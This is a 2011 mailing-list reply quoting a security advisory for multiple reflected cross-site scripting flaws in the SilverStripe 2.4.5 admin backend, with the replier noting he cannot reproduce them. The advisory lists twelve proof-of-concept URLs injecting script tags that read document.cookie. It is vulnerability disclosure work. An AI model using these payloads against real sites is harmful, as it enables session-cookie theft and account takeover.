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Re: SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities
From: Henri Salo <henri () nerv fi>
Date: Wed, 12 Oct 2011 20:06:40 +0300

On Sat, Oct 08, 2011 at 08:22:12AM +0000, sschurtz () t-online de wrote:
Advisory:                     SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities
Advisory ID:                  SSCHADV2011-024
Author:               Stefan Schurtz
Affected Software:    Successfully tested on SilverStripe 2.4.5
Vendor URL:           http://www.silverstripe.com/
Vendor Status:        informed
CVE-ID:                       -

==========================
Vulnerability Description:
==========================

SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting vulnerabilities

==================
Technical Details:
==================

Backend - XSS

http://<target>/SilverStripe-v2.4.5/admin/reports/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/comments/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/4?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/2?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/root?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/3?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/assets/?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/1?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/show/5?'"</script><script>alert(document.cookie)</script>
http://<target>/SilverStripe-v2.4.5/admin/security/?'"</script><script>alert(document.cookie)</script>

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

05-Oct-2011 - informed developers
06-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.silverstripe.com/
http://www.rul3z.de/advisories/SSCHADV2011-024.txt

I am unable to reproduce these issues. What is your reply SilverStripe? Any plan on patching?

Best regards,
Henri Salo


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